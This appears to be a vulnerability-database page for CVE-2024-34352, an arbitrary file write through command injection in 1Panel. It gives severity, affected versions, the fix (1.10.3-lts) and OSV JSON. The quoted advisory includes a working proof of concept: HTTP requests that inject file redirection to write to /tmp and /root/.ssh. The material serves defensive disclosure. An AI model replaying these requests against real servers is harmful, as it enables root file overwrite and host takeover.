Vulnerabilities in pkg:golang/github.com/1Panel-dev/1Panel

PACKAGE
Advisory Identifier: GHSA-f8ch-w75v-c847
Advisory Summary

CVE-2024-34352 is a MODERATE (CVSS 6.5) 1panel arbitrary file write vulnerability vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Github.com/1Panel dev/1Panel libraries in the Go ecosystem. The issue involves 1panel arbitrary file write vulnerability. Remediation is available by upgrading affected packages to version 1.10.3-lts.

17 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/1Panel-dev/1Panel

17 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/1Panel-dev/1Panel. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-f8ch-w75v-c847 CVE-2024-34352 MODERATE 1Panel arbitrary file write vulnerability
GHSA-5xpq-2vmc-5cqp CVE-2025-34430 MODERATE 1Panel contains a cross-site request forgery (CSRF) vulnerability in the panel name management functionality
GHSA-wrvc-x3wf-j5f5 CVE-2025-34429 HIGH 1Panel contains a cross-site request forgery (CSRF) vulnerability in the web port configuration functionality
GHSA-rpr2-4hqj-hc4q CVE-2025-34410 HIGH 1Panel contains a cross-site request forgery (CSRF) vulnerability in the Change Username functionality
GHSA-7cqv-qcq2-r765 CVE-2025-66508 MODERATE 1Panel IP Access Control Bypass via Untrusted X-Forwarded-For Headers
GHSA-qmg5-v42x-qqhq CVE-2025-66507 HIGH 1Panel – CAPTCHA Bypass via Client-Controlled Flag
GHSA-26w3-q4j8-4xjp CVE-2024-27288 MODERATE 1Panel open source panel project has an unauthorized vulnerability.
GHSA-6m9h-2pr2-9j8f CVE-2024-30257 LOW 1Panel's password verification is suspected to have a timing attack vulnerability
GHSA-9xfw-jjq2-7v8h CVE-2024-24768 LOW 1Panel set-cookie is missing the Secure keyword
GHSA-5grx-v727-qmq6 CVE-2024-39907 CRITICAL 1Panel has an SQL injection issue related to the orderBy clause
GHSA-x2vg-5wrf-vj6v CVE-2024-2352 MODERATE 1Panel is vulnerable to command injection
GHSA-hf7j-xj3w-87g4 CVE-2023-39966 HIGH 1Panel arbitrary file write vulnerability
GHSA-85cf-gj29-f555 CVE-2023-39965 MODERATE 1Panel Arbitrary File Download vulnerability
GHSA-pv7q-v9mv-9mh5 CVE-2023-39964 HIGH 1Panel O&M management panel has a background arbitrary file reading vulnerability
GHSA-p9xf-74xh-mhw5 CVE-2023-37477 HIGH 1Panel command injection vulnerability in Firewall ip functionality
GHSA-7x2c-fgx6-xf9h CVE-2023-36458 MODERATE 1Panel vulnerable to command injection when entering the container terminal
GHSA-q2mx-gpjf-3h8x CVE-2023-36457 MODERATE 1Panel vulnerable to command injection when adding container repositories

CVE-2024-34352 at a Glance

CVE Identifier CVE-2024-34352
GHSA Identifier GHSA-f8ch-w75v-c847
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product Github.com/1Panel dev/1Panel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-34352

To remediate this vulnerability, upgrade all affected Github.com/1Panel dev/1Panel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/1Panel-dev/1Panel fixed: 1.10.3-lts
Upgrade github.com/1Panel-dev/1Panel to 1.10.3-lts
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/1Panel-dev/1Panel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-34352, inspect your project dependencies for Github.com/1Panel dev/1Panel:

inspect dependencies for github.com/1Panel-dev/1Panel

Analyze the terminal output to locate any version of Github.com/1Panel dev/1Panel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.10.3-lts), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Github.com/1Panel dev/1Panel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing ### PoC Dockerfile ``` FROM bash:latest COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] ``` echo.sh ``` #!/usr/local/bin/bash echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed ``` GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1 Host: xxxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== ``` Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges ``` GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1 Host: xxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== ``` Or write a timed task to execute any command. ### Impact The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

CVE-2024-34352 Affected Github.com/1Panel dev/1Panel Versions

1 component(s)
Fixed Versions:
1.10.3-lts
Product / Package Ecosystem Affected Versions Fixed Version
github.com/1Panel-dev/1Panel
Go
< 1.10.3-lts
1.10.3-lts

References

Frequently Asked Questions

What is CVE-2024-34352?
CVE-2024-34352 is a security vulnerability in Github.com/1Panel dev/1Panel involving 1Panel arbitrary file write vulnerability under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which Github.com/1Panel dev/1Panel versions are affected?
Affected versions include releases prior to 1.10.3-lts across affected packages: github.com/1Panel-dev/1Panel.
What version fixes CVE-2024-34352?
Upgrading to 1.10.3-lts (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/1Panel-dev/1Panel affected?
Yes, github.com/1Panel-dev/1Panel is affected in releases prior to 1.10.3-lts. Upgrade your dependency to 1.10.3-lts or later.
What is the CVSS score of CVE-2024-34352?
CVE-2024-34352 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2024-34352?
CVE-2024-34352 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2024-34352?
Run the dependency tree command: 'inspect dependencies for github.com/1Panel-dev/1Panel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f8ch-w75v-c847",
  "modified" : "2026-06-08T15:55:34Z",
  "published" : "2024-05-09T15:14:24Z",
  "aliases" : [ "CVE-2024-34352" ],
  "summary" : "1Panel arbitrary file write vulnerability",
  "details" : "### Summary\nThere are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.\nWe can use the following mirror configuration write symbol `>` to achieve arbitrary file writing\n\n### PoC\nDockerfile\n```\nFROM bash:latest\n\nCOPY echo.sh /usr/local/bin/echo.sh\nRUN chmod +x /usr/local/bin/echo.sh\nCMD [\"echo.sh\"]\n```\necho.sh\n```\n#!/usr/local/bin/bash\necho \"Hello, World!\"\n```\nBuild this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container\nSend the following packet, taking care to change the containerID to the malicious container we constructed\n\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1\nHost: xxxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nThen you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1\nHost: xxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nOr write a timed task to execute any command.\n### Impact\nThe ability to write arbitrary files on the host where the service is deployed can lead to a host takeover",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/1Panel-dev/1Panel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.10.3-lts"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-f8ch-w75v-c847"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-34352"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/1Panel-dev/1Panel/commit/e037b69f52799e110af8e98f39a3627ad0285ea6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/1Panel-dev/1Panel"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-2830"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-05-09T15:14:24Z",
    "nvd_published_at" : "2024-05-14T15:38:43Z"
  }
}